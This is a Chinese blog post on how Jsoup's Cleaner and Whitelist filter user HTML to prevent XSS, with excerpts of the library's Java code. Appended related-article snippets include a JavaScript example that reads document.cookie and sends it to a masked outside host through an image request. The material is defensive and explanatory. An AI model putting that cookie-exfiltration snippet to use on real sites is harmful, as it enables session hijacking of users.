Jsoup代码解读之六-防御XSS攻击

Jsoup代码解读之八-防御XSS攻击

防御XSS攻击的一般原理

cleaner是Jsoup的重要功能之一,我们常用它来进行富文本输入中的XSS防御。

我们知道,XSS攻击的一般方式是,通过在页面输入中嵌入一段恶意脚本,对输出时的DOM结构进行修改,从而达到执行这段脚本的目的。对于纯文本输入,过滤/转义HTML特殊字符<,>,",是行之有效的办法,但是如果本身用户输入的就是一段HTML文本(例如博客文章),这种方式就不太有效了。这个时候,就是Jsoup大显身手的时候了。

在前面,我们已经知道了,Jsoup里怎么将HTML变成一棵DOM树,怎么对DOM树进行遍历,怎么对DOM文档进行输出,那么其实cleaner的实现方式,也能猜出大概了。使用Jsoup进行XSS防御,大致分为三个步骤:

  1. 将HTML解析为DOM树

    这一步可以过滤掉一些企图搞破坏的非闭合标签、非正常语法等。例如一些输入,会尝试用</textarea>闭合当前Tag,然后写入攻击脚本。而根据前面对Jsoup的parser的分析,这种时候,这些非闭合标签会被当做错误并丢弃。

  2. 过滤高风险标签/属性/属性值

    高风险标签是指<script>以及类似标签,对属性/属性值进行过滤是因为某些属性值里也可以写入javascript脚本,例如onclick=‘alert("xss!")‘

  3. 重新将DOM树输出为HTML文本

    DOM树的输出,在前面(Jsoup代码解读之三)已经提到过了。

Cleaner与Whitelist

对于上述的两个步骤,1、3都已经分别在parser和输出中完成,现在只剩下步骤 2:过滤高风险标签等。

Jsoup给出的答案是白名单。下面是Whitelist的部分代码。


public class Whitelist {
    private Set<TagName> tagNames; // tags allowed, lower case. e.g. [p, br, span]
    private Map<TagName, Set<AttributeKey>> attributes; // tag -> attribute[]. allowed attributes [href] for a tag.
    private Map<TagName, Map<AttributeKey, AttributeValue>> enforcedAttributes; // always set these attribute values
    private Map<TagName, Map<AttributeKey, Set<Protocol>>> protocols; // allowed URL protocols for attributes
    private boolean preserveRelativeLinks; // option to preserve relative links
}

这里定义了标签名/属性名/属性值的白名单。

Cleaner是过滤的执行者。不出所料,Cleaner内部定义了CleaningVisitor来进行标签的过滤。CleaningVisitor的过滤过程并不改变原始DOM树的值,而是将符合条件的属性,加入到Element destination里去。


private final class CleaningVisitor implements NodeVisitor {
    private int numDiscarded = 0;
    private final Element root;
    private Element destination; // current element to append nodes to

    private CleaningVisitor(Element root, Element destination) {
        this.root = root;
        this.destination = destination;
    }

    public void head(Node source, int depth) {
        if (source instanceof Element) {
            Element sourceEl = (Element) source;

            if (whitelist.isSafeTag(sourceEl.tagName())) { // safe, clone and copy safe attrs
                ElementMeta meta = createSafeElement(sourceEl);
                Element destChild = meta.el;
                destination.appendChild(destChild);

                numDiscarded += meta.numAttribsDiscarded;
                destination = destChild;
            } else if (source != root) { // not a safe tag, so don‘t add. don‘t count root against discarded.
                numDiscarded++;
            }
        } else if (source instanceof TextNode) {
            TextNode sourceText = (TextNode) source;
            TextNode destText = new TextNode(sourceText.getWholeText(), source.baseUri());
            destination.appendChild(destText);
        } else { // else, we don‘t care about comments, xml proc instructions, etc
            numDiscarded++;
        }
    }

    public void tail(Node source, int depth) {
        if (source instanceof Element && whitelist.isSafeTag(source.nodeName())) {
            destination = destination.parent(); // would have descended, so pop destination stack
        }
    }
}

结束语

至此,Jsoup的全部模块都已经写完了。Jsoup源码并不多,只有14000多行,但是实现非常精巧,在读代码的过程中,除了相关知识,还验证几个很重要的思想:

  • 最好的代码抽象,是对现实概念的映射。

    这句话在看《代码大全》的时候印象很深刻。在Jsoup里,只要有相关知识,每个类的作用都能第一时间明白其作用。

  • 不要过度抽象

    在Jsoup里,只用到了两个接口,一个是NodeVisitor,一个是Connection,其他都是用抽象类或者直接用实现类代替。记得有次面试的时候被问到我们开发中每逢一个功能,都要先定义一个接口的做法是否必要?现在的答案是没有必要,过度的抽象反而会降低代码质量。

    另外,Jsoup的代码内聚性都很高,每个类的功能基本都定义在类的内部,这是一个典型的充血模型。同时有大量的facade使用,而避免了Factory、Configure等类的出现,个人感觉这点是非常好的。

时间: 2024-12-17 18:43:10

Jsoup代码解读之六-防御XSS攻击的相关文章

防御XSS攻击的七条原则

本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:<Stored and Reflected XSS Attack><DOM Based XSS> 攻击者可以利用XSS漏洞向用户发送攻击脚本,而用户的浏览器因为没有办法知道这段脚本是不可信的,所以依然会执行它.对于浏览器而言,它认为这段脚本是来自可以信任的服务器的,所以脚本可以光明正大地访问Cookie,或者保存在浏览器里被当前网站所用的敏感

利用HttpOnly来防御xss攻击

xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了... 如下js获取cookie信息: url=document.top.location.href; cookie=document.cookie; c=new Image(); c.src='http://www.******.com/c.php?c='+coo

Jsoup代码解读之五-实现一个CSS Selector

Jsoup代码解读之七-实现一个CSS Selector 当当当!终于来到了Jsoup的特色:CSS Selector部分.selector也是我写的爬虫框架webmagic开发的一个重点.附上一张street fighter的图,希望以后webmagic也能挑战Jsoup! select机制 Jsoup的select包里,类结构如下: 在最开始介绍Jsoup的时候,就已经说过NodeVisitor和Selector了.Selector是select部分的对外facade,而NodeVisito

Jsoup代码解读之一-概述

Jsoup代码解读之一-概述 今天看到一个用python写的抽取正文的东东,美滋滋的用Java实现了一番,放到了webmagic里,然后发现Jsoup里已经有了…觉得自己各种不靠谱啊!算了,静下心来学学好东西吧! Jsoup是Java世界用作html解析和过滤的不二之选.支持将html解析为DOM树.支持CSS Selector形式选择.支持html过滤,本身还附带了一个Http下载器.从今天开始会写一个Jsoup源码解读系列,比起之前的博客,尽量会写的详尽一些. 概述 Jsoup的代码相当简洁

Jsoup代码解读之四-parser

Jsoup代码解读之四-parser 作为Java世界最好的HTML 解析库,Jsoup的parser实现非常具有代表性.这部分也是Jsoup最复杂的部分,需要一些数据结构.状态机乃至编译器的知识.好在HTML语法不复杂,解析只是到DOM树为止,所以作为编译器入门倒是挺合适的.这一块不要指望囫囵吞枣,我们还是泡一杯咖啡,细细品味其中的奥妙吧. 基础知识 编译器 将计算机语言转化为另一种计算机语言(通常是更底层的语言,例如机器码.汇编.或者JVM字节码)的过程就叫做编译(compile).编译器(

Jsoup代码解读之三-Document的输出

Jsoup代码解读之三-Document的输出 Jsoup官方说明里,一个重要的功能就是output tidy HTML.这里我们看看Jsoup是如何输出HTML的. HTML相关知识 分析代码前,我们不妨先想想,“tidy HTML"到底包括哪些东西: 换行,块级标签习惯上都会独占一行 缩进,根据HTML标签嵌套层数,行首缩进会不同 严格的标签闭合,如果是可以自闭合的标签并且没有内容,则进行自闭合 HTML实体的转义 这里要补充一下HTML标签的知识.HTML Tag可以分为block和inl

Jsoup代码解读之二-DOM相关对象

Jsoup代码解读之二-DOM相关对象 之前在文章中说到,Jsoup使用了一套自己的DOM对象体系,和Java XML API互不兼容.这样做的好处是从XML的API里解脱出来,使得代码精炼了很多.这篇文章会说明Jsoup的DOM结构,DOM的遍历方式.在下一篇文章,我会并结合这两个基础,分析一下Jsoup的HTML输出功能. DOM结构相关类 我们先来看看nodes包的类图: 这里可以看到,核心无疑是Node类. Node类是一个抽象类,它代表DOM树中的一个节点,它包含: 父节点parent

PHP防御XSS攻击的终极解决方案

最近测试XSS攻击修复时,找到的一个比较不错的文章,分享给大家. Update20151202: 感谢大家的关注和回答,目前我从各种方式了解到的防御方法,整理如下: PHP直接输出html的,可以采用以下的方法进行过滤: 1 1.htmlspecialchars函数 2   3 2.htmlentities函数 4   5 3.HTMLPurifier.auto.php插件 6   7 4.RemoveXss函数(百度可以查到) PHP输出到JS代码中,或者开发Json API的,则需要前端在J

WEB安全实战(三)XSS 攻击的防御

前言 上篇文章中提到了 XSS 攻击,而且,也从几个方面介绍了 XSS 攻击带来的严重影响.那么,这篇文章中,主要是针对 XSS 攻击做一个基本的防御,看看可以通过几种方式来修复这个特别常见的安全漏洞. 由于公司用的是 SpringMVC,因此,这次就主要基于 SpringMVC 来解决这些漏洞.当然,其实这些解决方案都是大同小异,对于什么环境来说根本无所谓.了解了原理,什么环境.什么语言都可以运用自如了.废话就不多说了,直接上解决方案. 解决方案 方案一 方案一主要是利用了 SpringMVC